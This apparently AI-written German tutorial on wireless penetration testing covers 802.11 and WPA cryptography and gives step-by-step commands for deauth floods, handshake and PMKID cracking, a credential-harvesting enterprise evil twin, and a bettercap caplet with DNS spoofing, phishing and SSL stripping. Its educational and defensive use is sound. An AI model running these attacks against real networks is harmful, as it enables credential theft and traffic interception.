Wireless Pentesting für Senior Level

Ich gebe dir jetzt eine extrem detaillierte Erklärung aller wichtigen Aspekte.

1. IEEE 802.11 – Fundamentale Protokoll-Architektur

1.1 OSI Layer Mapping

WiFi operiert primär auf Layer 1 (Physical) und Layer 2 (Data Link):

Physical Layer (PHY):

  • DSSS (Direct Sequence Spread Spectrum) – 802.11b
  • OFDM (Orthogonal Frequency Division Multiplexing) – 802.11a/g/n/ac/ax
  • MIMO (Multiple Input Multiple Output) – ab 802.11n
  • MU-MIMO (Multi-User) – 802.11ac Wave 2
  • OFDMA (Orthogonal Frequency Division Multiple Access) – WiFi 6

MAC Layer (Medium Access Control):

  • CSMA/CA (Carrier Sense Multiple Access with Collision Avoidance)
  • RTS/CTS (Request to Send / Clear to Send) – Optional collision avoidance
  • ACK Frames – Bestätigung erfolgreicher Übertragung

1.2 Frequenzbänder im Detail

2.4 GHz Band (2.400 – 2.4835 GHz):

Kanäle: 1-14 (je 20 MHz breit, 5 MHz Abstand)
Überlappungsfreie Kanäle: 1, 6, 11 (in Europa/USA)
Vorteile: Bessere Durchdringung, größere Reichweite
Nachteile: Überfüllt, Interferenzen (Bluetooth, Mikrowellen)
Standards: 802.11b/g/n/ax

5 GHz Band (5.150 – 5.825 GHz):

Kanäle: 36, 40, 44, 48, 52, 56, 60, 64, 100-144, 149-165
Kanalbreite: 20/40/80/160 MHz
Vorteile: Mehr Kanäle, weniger Interferenzen, höhere Geschwindigkeit
Nachteile: Kürzere Reichweite, schlechtere Durchdringung
Standards: 802.11a/n/ac/ax
DFS (Dynamic Frequency Selection): Radar-Detektion erforderlich

6 GHz Band (WiFi 6E):

Frequenz: 5.925 - 7.125 GHz
Kanäle: Viele zusätzliche Kanäle
Nur WPA3, keine Legacy-Geräte

1.3 Frame-Typen (Kritisch für Angriffe)

Management Frames (Type 00):

0x00: Association Request
0x01: Association Response
0x02: Reassociation Request
0x03: Reassociation Response
0x04: Probe Request (wichtig für Karma-Angriffe)
0x05: Probe Response
0x08: Beacon (SSID Broadcasting)
0x0A: Disassociation
0x0B: Authentication
0x0C: Deauthentication (häufig für Angriffe missbraucht)
0x0D: Action Frames

Control Frames (Type 01):

0x1B: RTS (Request to Send)
0x1C: CTS (Clear to Send)
0x1D: ACK (Acknowledgment)

Data Frames (Type 10):

0x20: Data
0x24: Null Function (keine Daten, aber Verbindung aufrechterhalten)
0x28: QoS Data

1.4 802.11 Frame Struktur (Detailliert)

┌─────────────────────────────────────────────────────────────┐
│                    MAC Header (24-30 Bytes)                  │
├──────┬──────┬──────┬─────┬─────┬─────┬─────┬─────┬─────────┤
│Frame │Dur/  │Addr 1│Addr2│Addr3│Seq  │Addr4│QoS  │HT       │
│Ctrl  │ID    │(DA)  │(SA) │(BSSID)│Ctrl│     │Ctrl │Control  │
│2B    │2B    │6B    │6B   │6B   │2B   │6B   │2B   │4B       │
└──────┴──────┴──────┴─────┴─────┴─────┴─────┴─────┴─────────┘
         │                                                       
         └─ Frame Body (0-2312 Bytes) - Verschlüsselt bei WPA   

         └─ FCS (4 Bytes) - Frame Check Sequence               

Frame Control Field (wichtig für Analyse):

Bits 0-1: Protocol Version (immer 00)
Bits 2-3: Type (Management/Control/Data)
Bits 4-7: Subtype
Bit 8: To DS (zur Distribution System)
Bit 9: From DS (von Distribution System)
Bit 10: More Fragments
Bit 11: Retry
Bit 12: Power Management
Bit 13: More Data
Bit 14: Protected Frame (verschlüsselt)
Bit 15: Order

Praktisches Beispiel – Deauth Frame:

Frame Control: 0xC0 (Type: Management, Subtype: Deauth)
Duration: 0x013A
Destination: FF:FF:FF:FF:FF:FF (Broadcast)
Source: [AP BSSID]
BSSID: [AP BSSID]
Reason Code: 0x0007 (Class 3 frame received from nonassociated STA)

2. Kryptographie – Tiefes Verständnis

2.1 WEP (Wired Equivalent Privacy) – Komplett gebrochen

Verschlüsselung:

Algorithmus: RC4 Stream Cipher
Key: 40-bit oder 104-bit (+ 24-bit IV = 64/128-bit gesamt)
Integrität: CRC-32 (kryptographisch unsicher)

Kritische Schwachstellen:

  1. IV Reuse:
IV ist nur 24 Bit → 2^24 = 16.777.216 mögliche Werte
Bei hohem Traffic: IV Collision innerhalb Stunden
Gleicher IV + gleicher Key = gleicher Keystream
→ Keystream Recovery möglich
  1. Weak IVs:
Bestimmte IVs (z.B. 0x03:FF:xx) leaken Key-Bytes
Fluhrer-Mantin-Shamir (FMS) Attack
Aircrack-ng sammelt diese "interesting IVs"
→ 40.000-50.000 IVs reichen für Key-Recovery
  1. Chopchop Attack:
Decrypt einzelne Bytes ohne Key zu kennen
Nutzt CRC-32 als Oracle
→ Arbitrary Packet Injection möglich

Praktischer Angriff:

# 1. Capture IVs
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# 2. Beschleunigung durch ARP Replay (falls Clients aktiv)
aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h [CLIENT_MAC] wlan0mon

# 3. Crack (meist < 5 Minuten mit genug IVs)
aircrack-ng -b AA:BB:CC:DD:EE:FF capture-01.cap

# 4. Alternative: PTW Attack (schneller)
aircrack-ng -z -b AA:BB:CC:DD:EE:FF capture-01.cap

2.2 WPA/WPA2-PSK (Pre-Shared Key)

4-Way Handshake (Schlüsselaustausch):

Client                                    AP
  |                                       |
  |  1. AP → Client: ANonce (Random)     |
  |←─────────────────────────────────────|
  |                                       |
  |  Client berechnet:                   |
  |  PTK = PRF(PMK, ANonce, SNonce,      |
  |            AP_MAC, Client_MAC)        |
  |                                       |
  |  2. Client → AP: SNonce + MIC        |
  |──────────────────────────────────────→|
  |                                       |
  |  AP berechnet PTK und verifiziert MIC|
  |                                       |
  |  3. AP → Client: GTK + MIC           |
  |←─────────────────────────────────────|
  |                                       |
  |  4. Client → AP: ACK                 |
  |──────────────────────────────────────→|

Key Hierarchy:

PSK (Pre-Shared Key)
    ↓
PMK = PBKDF2(passphrase, SSID, 4096 iterations, 256 bits)
    ↓
PTK (Pairwise Transient Key) = PRF-512(PMK, "Pairwise key expansion",
                                        Min(AP_MAC, Client_MAC),
                                        Max(AP_MAC, Client_MAC),
                                        Min(ANonce, SNonce),
                                        Max(ANonce, SNonce))
    ↓
├─ KCK (Key Confirmation Key, 128 bit) - für MIC
├─ KEK (Key Encryption Key, 128 bit) - für GTK Encryption
└─ TK (Temporal Key, 128 bit) - für Data Encryption

GTK (Group Temporal Key) - für Broadcast/Multicast

Angriffsvektoren:

A) Offline Dictionary Attack (klassisch):

# 1. Handshake capturen
airodump-ng -c 6 --bssid [BSSID] -w capture wlan0mon

# 2. Deauth um Handshake zu erzwingen
aireplay-ng --deauth 5 -a [BSSID] -c [CLIENT] wlan0mon

# 3. Handshake zu hashcat format konvertieren
hcxpcapngtool -o hash.hc22000 capture-01.cap

# 4. Cracken mit Wordlist
hashcat -m 22000 hash.hc22000 rockyou.txt

# 5. Mit Rules für bessere Coverage
hashcat -m 22000 hash.hc22000 rockyou.txt -r best64.rule

# 6. Mask Attack für Patterns (z.B. "Firmenname" + Zahlen)
hashcat -m 22000 hash.hc22000 -a 3 Company?d?d?d?d

B) PMKID Attack (ohne Clients!):

Das ist revolutionär – funktioniert auch wenn KEIN Client verbunden ist.

Technischer Hintergrund:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" || MAC_AP || MAC_STA)

Problem: AP sendet PMKID im ersten EAPOL-Frame (Robust Security 
Network Information Element) des 4-Way Handshakes.

Angreifer kann:
1. Association Request senden
2. PMKID aus Association Response extrahieren
3. Offline cracken (gleicher Aufwand wie Handshake)

Praktisch:

# 1. PMKID capture (hcxdumptool)
hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=15

# 2. PMKID extrahieren
hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng

# 3. Cracken (identisch zu Handshake)
hashcat -m 22000 pmkid.hc22000 wordlist.txt

# Alternative mit Airgeddon (automatisiert)

Warum funktioniert das?

- Viele APs implementieren 802.11i fehlerhaft
- PMKID wird gesendet bevor Authentication vollständig ist
- AP kann nicht unterscheiden zwischen legitimem Client und Angreifer
- Keine Deauth nötig = stealthier

C) Brute-Force Optimierung:

# GPU-Cracking (massiv schneller)
# RTX 4090: ~1.5 Million Hashes/sec für WPA2
# 8x RTX 4090: ~12 Million H/s

# Distributed Cracking
hashcat -m 22000 hash.hc22000 wordlist.txt --session=mysession
# Auf anderem System fortsetzen:
hashcat --session=mysession --restore

# Smart Wordlist Creation
# 1. Target-specific: Firmenname, Adresse, etc.
# 2. Common patterns: 
#    - RouterName + Zahlen (Speedport1234)
#    - Wörter + Sonderzeichen + Zahlen (Welcome!2024)
# 3. Use maskprocessor für Pattern-Generation
mp64 -1 ?l?d "Company?1?1?1?1?1?1?1?1" | hashcat -m 22000 hash.hc22000

# Combinator Attack
hashcat -m 22000 hash.hc22000 -a 1 wordlist1.txt wordlist2.txt

2.3 WPA2-Enterprise (802.1X)

Architektur:

Client (Supplicant)  ←→  AP (Authenticator)  ←→  RADIUS Server
        |                        |                      |
   EAP über LAN              RADIUS               User DB
                          (EAP over RADIUS)

EAP-Methoden (kritisch für Sicherheit):

EAP-TLS (sicherste Methode):

- Mutual Authentication mit Client- UND Server-Zertifikaten
- Client braucht installiertes Zertifikat
- Keine Credentials im Klartext
- Komplexe Verwaltung (PKI)

PEAP (Protected EAP):

Phase 1: TLS Tunnel zwischen Client und RADIUS (Server-Cert)
Phase 2: Inner Authentication (MSCHAPv2, GTC, etc.)

Problem: Nur Server wird authentifiziert
→ Evil Twin möglich wenn Client Server-Cert nicht validiert

EAP-TTLS:

Ähnlich PEAP, aber flexibler in Phase 2
Kann PAP, CHAP, MSCHAPv2 etc. tunneln

EAP-FAST (Cisco):

Kein Zertifikat nötig
Protected Access Credential (PAC) statt Cert
Schneller, aber weniger sicher

Angriffsvektoren Enterprise:

A) Evil Twin + Credential Harvesting:

# Setup mit hostapd-wpe (FreeRADIUS-WPE)

# 1. hostapd-wpe.conf erstellen
cat > /etc/hostapd-wpe/hostapd-wpe.conf << EOF
interface=wlan0
driver=nl80211
ssid=Corporate-WiFi
channel=6
hw_mode=g

# WPA2-Enterprise
wpa=2
wpa_key_mgmt=WPA-EAP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever
dh_file=/etc/hostapd-wpe/certs/dh

# Logging
logger_syslog=-1
logger_syslog_level=0
EOF

# 2. EAP User File (alle Methoden erlauben)
cat > /etc/hostapd-wpe/hostapd-wpe.eap_user << EOF
*     PEAP,TTLS,TLS,FAST
"t"   TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2    "t"   [2]
EOF

# 3. Starten
hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

# 4. Captured Hashes/Challenges werden geloggt
# Output in /var/log/hostapd-wpe.log oder stdout

Was passiert:

1. Client verbindet sich mit Evil Twin
2. Client ignoriert Cert-Warnung (häufig!)
3. Inner Authentication (MSCHAPv2) wird gecaptured:
   - Username
   - Challenge
   - Response
4. Offline cracking möglich:

   hashcat -m 5500 captured_hash.txt wordlist.txt

B) EAP Method Downgrade:

# Force weak EAP method
# Modify hostapd-wpe.conf:
eap_user_file mit nur GTC oder MD5

# GTC = Generic Token Card
# Sendet Credentials im Klartext (innerhalb TLS)
# Aber: Wenn Client nicht richtig Server-Cert prüft → Game Over

C) Certificate Validation Bypass:

Viele Clients prüfen nicht:
- Ist das Zertifikat gültig?
- Stimmt der Common Name mit dem SSID überein?
- Ist die CA vertrauenswürdig?

→ Self-signed Cert wird akzeptiert
→ Evil Twin funktioniert perfekt

Defensive Maßnahmen (Client-Side):

<!-- Windows: WLAN Profil XML -->
<EapHostConfig>
  <EapMethod>
    <Type>25</Type> <!-- PEAP -->
    <VendorId>0</VendorId>
    <VendorType>0</VendorType>
    <AuthorId>0</AuthorId>
  </EapMethod>
  <Config>
    <Eap>
      <Type>25</Type>
      <EapType>
        <ServerValidation>
          <ServerNames>radius.company.com</ServerNames>
          <TrustedRootCA>3F 51 B3 ...</TrustedRootCA>
        </ServerValidation>
      </EapType>
    </Eap>
  </Config>
</EapHostConfig>

2.4 WPA3 (aktueller Standard)

SAE (Simultaneous Authentication of Equals) – Dragonfly Handshake:

Ersetzt 4-Way Handshake's schwache PSK-Ableitung

Phase 1: Commit
  Client & AP tauschen öffentliche Werte aus (Elliptic Curve)

Phase 2: Confirm
  Beweisen dass beide das gleiche Passwort kennen
  Ohne das Passwort zu übertragen

Resultat: PMK wird abgeleitet
→ Forward Secrecy (jede Session = neuer PMK)

Vorteile gegenüber WPA2:

1. Schutz gegen Offline Dictionary Attacks
   - Angreifer kann Handshake capturen
   - Aber: Brute-Force erfordert Online-Interaktion mit AP
   - AP kann Rate-Limiting anwenden

2. Forward Secrecy
   - Alter Traffic kann nicht entschlüsselt werden
   - Auch wenn Passwort später kompromittiert wird

3. 192-bit Security (WPA3-Enterprise)
   - GCMP-256 statt AES-CCMP-128
   - HMAC-SHA-384
   - Elliptic Curve 384-bit

4. Protected Management Frames (PMF) mandatory
   - Deauth-Angriffe werden verhindert

WPA3 Angriffsvektoren:

A) Downgrade zu WPA2:

WPA3-Transition Mode: AP bietet WPA2 UND WPA3
Angreifer kann:
1. Beacon Frames manipulieren
2. WPA3 Capability Bits entfernen
3. Client denkt AP ist nur WPA2
4. Client verbindet mit WPA2 → alte Angriffe funktionieren

Prävention: WPA3-Only Mode (kein Transition)

B) Dragonblood Attacks (CVE-2019-13377 u.a.):

1. Side-Channel Attacks:
   - Cache-Timing während SAE
   - Passwort-Partitioning möglich
   - Reduziert Suchraum für Brute-Force

2. Downgrade innerhalb WPA3:
   - ECC → MODP (schwächere Gruppe)
   - 256-bit → 192-bit

3. Denial of Service:
   - Resource Exhaustion durch SAE-Commits

Status: Gepatcht in modernen Implementierungen
Aber: Alte Firmware/Treiber anfällig

C) Timing-based Dictionary Attack:

# Konzept (vereinfacht)
for password in wordlist:
    start = time()
    send_sae_commit(password)
    response_time = time() - start

    if response_time > threshold:
        # AP brauchte länger = wahrscheinlich nah am echten Passwort
        # (bei schlechten Implementierungen)

Praktisch WPA3 testen:

# Mit wpa_supplicant
wpa_passphrase "SSID" "passphrase" | sudo tee /etc/wpa_supplicant.conf
sudo wpa_supplicant -i wlan0 -c /etc/wpa_supplicant.conf

# Dragonblood Testing
git clone https://github.com/vanhoefm/dragonslayer.git
cd dragonslayer
# Verschiedene Tests verfügbar

# WPA3 Capture mit hcxdumptool
hcxdumptool -i wlan0mon -o wpa3.pcapng --enable_status=31

3. Hardware Deep Dive

3.1 Chipset-Auswahl (kritisch)

Atheros AR9271:

Vorteile:
+ Exzellenter Monitor Mode Support
+ Packet Injection funktioniert zuverlässig
+ Guter Linux-Treiber (ath9k_htc)
+ 2.4 GHz
+ Günstig (~15-30€)

Nachteile:
- Nur 2.4 GHz
- 802.11n (kein ac/ax)
- Max 150 Mbps

Verwendung:
- Alfa AWUS036NHA (beliebtest)
- TP-Link TL-WN722N v1 (NICHT v2/v3!)

Realtek RTL8812AU:

Vorteile:
+ Dual-Band (2.4 + 5 GHz)
+ 802.11ac
+ Bis 867 Mbps
+ Monitor Mode nach Treiber-Mod

Nachteile:
- Injection manchmal problematisch
- Treiber-Installation komplex
- Nicht alle Firmware-Versionen funktionieren

Verwendung:
- Alfa AWUS036ACH
- Panda PAU09

Installation:
git clone https://github.com/aircrack-ng/rtl8812au.git
cd rtl8812au
make && sudo make install

Ralink RT3070:

Vorteile:
+ Stable Monitor/Injection
+ 2.4 GHz
+ Günstiger Preis

Verwendung:
- Alfa AWUS036NH

MediaTek MT7921:

Vorteile:
+ WiFi 6 (802.11ax)
+ Dual-Band
+ Modern

Nachteile:
- Monitor Mode Support abhängig von Kernel-Version
- Injection teilweise unsupported

Verwendung:
- Intel AX200/AX210 (nicht MediaTek, aber ähnlich)

3.2 Antennen-Theorie

dBi (decibel isotropic):

0 dBi = isotropische (gleichmäßige) Abstrahlung in alle Richtungen
3 dBi = Verdopplung der Leistung in Hauptrichtung
10 dBi = 10x Leistung

Aber: Höherer Gain = schmälere Abstrahlkeule
→ Richtcharakteristik wird fokussierter

Antennentypen:

Omnidirektional:

Beispiele: Standard-"Gummienten", Rundstrahler
Gain: 2-9 dBi
Reichweite: Mittelmäßig (360° Abdeckung)
Verwendung: Allgemeine Scans, Wardriving

Charakteristik: Donut-förmig (horizontal rundum, vertikal begrenzt)

Direktional – Yagi:

Gain: 12-25 dBi
Reichweite: Mehrere Kilometer (outdoor, Sichtlinie)
Fokus: Sehr eng (10-30° Öffnungswinkel)
Verwendung: Gezielte Angriffe auf entfernte APs

Aufbau:
[Reflektor] [Driven Element] [Direktoren...]
            \___ Driven ___/
               (aktiv)

Direktional – Panel:

Gain: 14-24 dBi
Reichweite: 1-5 km
Fokus: Mittel (30-60°)
Verwendung: Sector-Abdeckung, nicht so eng wie Yagi

Praktisches Beispiel – Reichweiten-Berechnung:

Freifeld-Dämpfung (Free Space Path Loss):
FSPL (dB) = 20 × log10(d) + 20 × log10(f) + 32.45
  d = Distanz in km
  f = Frequenz in MHz

Beispiel 2.4 GHz, 1 km:
FSPL = 20 × log10(1) + 20 × log10(2400) + 32.45
     = 0 + 67.6 + 32.45
     = 100 dB Dämpfung

Mit Link Budget:
TX Power (AP): 20 dBm (100 mW, typisch)
TX Antenna Gain: 2 dBi
RX Antenna Gain (Yagi): 15 dBi
RX Sensitivity: -85 dBm (typischer Adapter)

Link Budget: 20 + 2 + 15 - (-85) = 122 dB
Margin: 122 - 100 = 22 dB → Verbindung OK

3.3 SDR (Software Defined Radio)

HackRF One:

Frequenzbereich: 1 MHz - 6 GHz
Bandwidth: 20 MHz
Verwendung:
- RF Spectrum Analysis
- Rogue AP Detection (ungewöhnliche Frequenzen)
- Jamming (nur für Research/Testing!)

Beispiel mit GNU Radio:
- Visualisierung des WiFi-Spektrums
- Erkennung von Hidden APs durch Carrier
- Interferenz-Quellen identifizieren

USRP (Universal Software Radio Peripheral):

Professioneller, teurer (~$1000+)
Bessere Performance
Forschung & Advanced Testing

4. Tools – Detaillierte Verwendung

4.1 Aircrack-ng Suite (Deep Dive)

airmon-ng:

# Interface-Info anzeigen
airmon-ng

# Prozesse die stören könnten killen
airmon-ng check kill

# Monitor Mode starten
airmon-ng start wlan0
# Erstellt: wlan0mon

# Auf spezifischem Kanal
airmon-ng start wlan0 6

# Monitor Mode stoppen
airmon-ng stop wlan0mon

# Troubleshooting: Manuell
ip link set wlan0 down
iw dev wlan0 set monitor none
ip link set wlan0 up
iw dev wlan0 set channel 6

airodump-ng (Scanner):

# Basis Scan (alle Kanäle)
airodump-ng wlan0mon

# Spezifischer Kanal
airodump-ng -c 6 wlan0mon

# Nur 5 GHz
airodump-ng --band a wlan0mon

# Target-focused (speichern für Cracking)
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Zusätzliche Optionen
--manufacturer  # Zeigt Hersteller anhand OUI
--wps          # Zeigt WPS-Info
--gpsd         # GPS-Koordinaten (mit GPS-Dongle)
-f 1000        # Channel hopping: 1000ms pro Kanal

# Output Formats
-w prefix      # .cap, .csv, .kismet.csv, .kismet.netxml
--output-format pcap,csv,kismet

# Versteckte SSIDs enthüllen
# Warten auf Probe Response oder Deauth → Reassociation

airodump-ng Output verstehen:

BSSID              PWR  Beacons  #Data  #/s  CH  MB  ENC  CIPHER AUTH ESSID
AA:BB:CC:DD:EE:FF  -42   1234    5678   10   6   54  WPA2 CCMP   PSK  MyNetwork

PWR: Signal Strength (-30 = sehr stark, -90 = schwach)
Beacons: Anzahl Beacon Frames
#Data: Data Packets
#/s: Packets pro Sekunde (Aktivität)
CH: Channel
MB: Max Speed (54 = 802.11g)
ENC: Encryption (WPA, WPA2, WPA3, WEP, OPN)
CIPHER: CCMP (AES), TKIP
AUTH: PSK, MGT (Enterprise)

aireplay-ng (Injection):

# Test injection
aireplay-ng --test wlan0mon
aireplay-ng --test wlan1mon -a [BSSID]

# Deauthentication
# Broadcast (alle Clients)
aireplay-ng --deauth 0 -a [BSSID] wlan0mon
# 0 = kontinuierlich, oder Anzahl (z.B. 10)

# Targeted Deauth (spezifischer Client)
aireplay-ng --deauth 10 -a [AP_BSSID] -c [CLIENT_MAC] wlan0mon
# -a = AP MAC (BSSID)
# -c = Client MAC
# 10 = Anzahl Deauth-Pakete

# Disassociation (sanfter als Deauth)
aireplay-ng --disassoc 5 -a [BSSID] -c [CLIENT] wlan0mon

# Fake Authentication (für WEP oder Injection Tests)
aireplay-ng --fakeauth 0 -a [BSSID] -h [YOUR_MAC] wlan0mon
# Nötig bei manchen APs für weitere Attacks

# ARP Replay Attack (WEP Acceleration)
aireplay-ng --arpreplay -b [BSSID] -h [YOUR_MAC] wlan0mon
# Wartet auf ARP-Paket, replayed es → mehr IVs

# Interactive Packet Replay
aireplay-ng --interactive -b [BSSID] -h [YOUR_MAC] wlan0mon
# Wähle Paket manuell aus zum Replay

# ChopChop Attack (WEP)
aireplay-ng --chopchop -b [BSSID] -h [YOUR_MAC] wlan0mon
# Decrypt Paket Byte für Byte

# Fragment Attack (WEP)
aireplay-ng --fragment -b [BSSID] -h [YOUR_MAC] wlan0mon
# Keystream gewinnen für Injection

# Injection von custom Paketen
aireplay-ng --interactive -r capture.cap wlan0mon

aircrack-ng (Cracker):

# WEP Cracking
aircrack-ng capture-01.cap
# Automatische Erkennung, braucht ~40k IVs

# WEP mit PTW Attack (schneller)
aircrack-ng -z capture-01.cap

# WPA/WPA2 mit Wordlist
aircrack-ng -w wordlist.txt -b [BSSID] capture-01.cap

# Essid spezifizieren (bei mehreren in Capture)
aircrack-ng -w wordlist.txt -e "NetworkName" capture-01.cap

# Mit mehreren CPUs
aircrack-ng -w wordlist.txt capture-01.cap -p 8

# Wordlist via pipe (on-the-fly generation)
crunch 8 8 0123456789 | aircrack-ng -w - -b [BSSID] capture.cap

# PMKID Cracking (neuere Versionen)
aircrack-ng -w wordlist.txt pmkid.cap

airdecap-ng (Decrypt captured traffic):

# Nach erfolgreichem Crack: Traffic entschlüsseln
airdecap-ng -e "SSID" -p "password" capture-01.cap
# Output: capture-01-dec.cap (Wireshark-ready)

# WEP
airdecap-ng -w 1234567890ABCDEF capture.cap

besside-ng (Automated WPA Cracker):

# Automatisch alle APs angreifen
besside-ng -c 6 -b [BSSID] wlan0mon
# Sammelt Handshakes automatisch

4.2 Bettercap (Modernes Framework)

Installation & Setup:

# Installation
sudo apt install bettercap

# Oder via Go
go install github.com/bettercap/bettercap@latest

# Starten
sudo bettercap -iface wlan0mon

# Mit Caplet (Automation Script)
sudo bettercap -iface wlan0mon -caplet /path/to/script.cap

Interactive Commands:

# WiFi Module aktivieren
wifi.recon on

# Alle APs anzeigen
wifi.show

# Target setzen
set wifi.ap.ssid "Evil-Corp"
set wifi.ap.bssid AA:BB:CC:DD:EE:FF
set wifi.ap.channel 6

# Deauth Attack
wifi.deauth [CLIENT_MAC]

# Access Point erstellen (Evil Twin)
set wifi.ap.ssid "Free-WiFi"
set wifi.ap.encryption false
wifi.ap

# Mit Encryption
set wifi.ap.encryption true
set wifi.ap.pass "password123"
wifi.ap

# Handshake Capture
wifi.recon on
# Handshakes werden automatisch in ~/bettercap-wifi-handshakes.pcap gespeichert

# Associated Clients anzeigen
wifi.show.clients

Caplet Beispiel (Automation):

# evil-twin.cap
set wifi.interface wlan0mon
set wifi.ap.ssid "Corporate-WiFi"
set wifi.ap.bssid AA:BB:CC:DD:EE:FF
set wifi.ap.channel 6
set wifi.ap.encryption false

# DHCP Server für Clients
set dhcp.server.domain evil.corp
set dhcp.server.address 192.168.1.1
set dhcp.server.range 192.168.1.10-192.168.1.100

# DNS Spoofer (alle Requests → unsere IP)
set dns.spoof.domains *
set dns.spoof.address 192.168.1.1

# HTTP Server mit Phishing-Page
set http.server.path /var/www/html
set http.server.address 192.168.1.1
set http.server.port 80

# SSL Strip (HTTPS → HTTP downgrade)
set http.proxy.sslstrip true

# Alles starten
wifi.ap on
dhcp.server on
dns.spoof on
http.server on
http.proxy on

# Logging
events.stream off
events.ignore endpoint

Verwendung:

sudo bettercap -iface wlan0mon -caplet evil-twin.cap

Network Layer Attacks (nach Verbindung):

# Network Discovery
net.probe on

# ARP Spoofing (MitM)
set arp.spoof.targets 192.168.1.50
set arp.spoof.internal true
arp.spoof on

# Sniffing aktivieren
net.sniff on

# Credentials Sniffer
set net.sniff.verbose true
set net.sniff.local true
set net.sniff.filter tcp port 80 or tcp port 443

# HTTP Proxy (Inject/Modify)
set http.proxy.script /path/to/inject.js
http.proxy on

# HTTPS Proxy (mit SSL Strip oder eigene Certs)
set https.proxy.certificate /path/to/cert.pem
set https.proxy.key /path/to/key.pem
https.proxy on

JavaScript Injection Beispiel:

// inject.js
function onResponse(req, res) {
    if (res.ContentType.indexOf('text/html') == 0) {
        var body = res.ReadBody();
        var script = '<script>alert("Pwned!");</script>';

        // Vor </body> injizieren
        if (body.indexOf('</body>') !== -1) {
            res.Body = body.replace('</body>', script + '</body>');
        }
    }
}

4.3 Kismet (WIDS/Wardriving)

Installation & Konfiguration:

# Installation
sudo apt install kismet

# Konfiguration
sudo nano /etc/kismet/kismet.conf

# Wichtige Einstellungen:
source=wlan0:name=internal
gps=gpsd:host=localhost:port=2947

# Web UI aktivieren (Standard: http://localhost:2501)
httpd_username=admin
httpd_password=kismet

# Logging
log_types=pcapppi,pcap,kismet

Verwendung:

# Starten (automatisch Monitor Mode)
sudo kismet

# CLI Mode
sudo kismet -c wlan0

# Mit GPS
sudo kismet -c wlan0 --use-gpsd

# Nur bestimmte Channels
sudo kismet -c wlan0:channels="1,6,11"

# Remote Capture (z.B. von Raspberry Pi)
# Auf Remote:
kismet_cap_linux_wifi --connect [SERVER_IP]:3501 --source=wlan0

# Server:
sudo kismet --bind-address [SERVER_IP]

Web Interface Features:

http://localhost:2501

- Real-time AP/Client Discovery
- Signal Strength Maps
- Packet Statistics
- Alerts (Spoofing, Deauth Attacks)
- GPS Tracking
- Device Fingerprinting
- Export zu KML (Google Earth)

Kismet als IDS:

# Alert Konfiguration in kismet_alerts.conf
# Deauth Flood Detection
alert=DEAUTHFLOOD,5/sec,5/min,"Deauthentication flood detected"

# Spoofed BSSID
alert=BSSID_SPOOF,1/sec,10/min,"Possible BSSID spoofing"

# New Hidden SSID
alert=NEWHIDDENSSID,1/min,10/min,"New hidden SSID detected"

Logs auswerten:

# Kismet speichert in ~/.kismet/logs/

# PCAP extrahieren
kismetdb_to_pcap --in Kismet-20241116.kismet --out output.pcap

# Zu Wireshark export
kismetdb_dump_devices --in Kismet-20241116.kismet --out devices.json

# GPS zu KML (Google Earth)
kismetdb_to_kml --in Kismet-20241116.kismet --out map.kml

4.4 hcxtools (PMKID Specialist)

hcxdumptool (Capture):

# Basis PMKID/Handshake Capture
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=15

# Status Flags (bitmask):
# 1 = GPS
# 2 = EAPOL
# 4 = PMKID
# 8 = Beacon
# 15 = alle (1+2+4+8)

# Aktiver Angriff (sendet Deauths)
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=15 --active_beacon

# Filter für spezifische APs
echo "AA:BB:CC:DD:EE:FF" > filterlist.txt
sudo hcxdumptool -i wlan0mon -o capture.pcapng --filterlist=filterlist.txt --filtermode=2

# filtermode:
# 0 = Include all except in list
# 1 = Include only in list  
# 2 = Exclude in list

# Mit GPS (gpsd running)
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=31

hcxpcapngtool (Conversion):

# Zu hashcat format konvertieren
hcxpcapngtool -o hashes.hc22000 capture.pcapng

# Separate Output-Files
hcxpcapngtool -o pmkid.hc22000 -k eapol.hc22000 capture.pcapng
# -o = PMKID
# -k = EAPOL (Handshakes)

# Mit Vendor-Info
hcxpcapngtool -o hashes.hc22000 --all capture.pcapng

# Essid filter
hcxpcapngtool -o hashes.hc22000 --essid="TargetSSID" capture.pcapng

# Statistiken anzeigen
hcxpcapngtool --info capture.pcapng

hcxhashtool (Hash Manipulation):

# PMKID/Handshake zu verschiedenen Formaten

# Legacy hashcat format (22000 → 16800/2500)
hcxhashtool -i hashes.hc22000 --pmkid=pmkid_old.txt
hcxhashtool -i hashes.hc22000 --hccapx=handshake.hccapx

# John the Ripper format
hcxhashtool -i hashes.hc22000 --john=john.txt

# Info über Hashes
hcxhashtool -i hashes.hc22000 --info

# Duplicates entfernen
hcxhashtool -i hashes.hc22000 -o cleaned.hc22000

hcxessidtool (ESSID Management):

# ESSID aus Capture extrahieren
hcxessidtool -i capture.pcapng -o essids.txt

# Für targeted attacks (SSID-spezifische Wordlists)

4.5 Wireshark / tshark (Packet Analysis)

Display Filters (kritisch für WiFi Analysis):

# Nur Management Frames
wlan.fc.type == 0

# Nur Data Frames
wlan.fc.type == 2

# Deauthentication Frames
wlan.fc.type_subtype == 0x0c

# Probe Requests (Client sucht Netzwerke)
wlan.fc.type_subtype == 0x04

# Beacon Frames
wlan.fc.type_subtype == 0x08

# EAPOL (Handshake)
eapol

# Spezifische BSSID
wlan.bssid == aa:bb:cc:dd:ee:ff

# Client MAC
wlan.sa == 11:22:33:44:55:66

# WPA Handshake (alle 4 Messages)
eapol.keydes.type == 2

# Encrypted Data
wlan.fc.protected == 1

# Retry Frames (interessant für Stability-Issues)
wlan.fc.retry == 1

# Fragmented Frames
wlan.frag != 0

tshark (CLI für Automation):

# Live Capture mit Filter
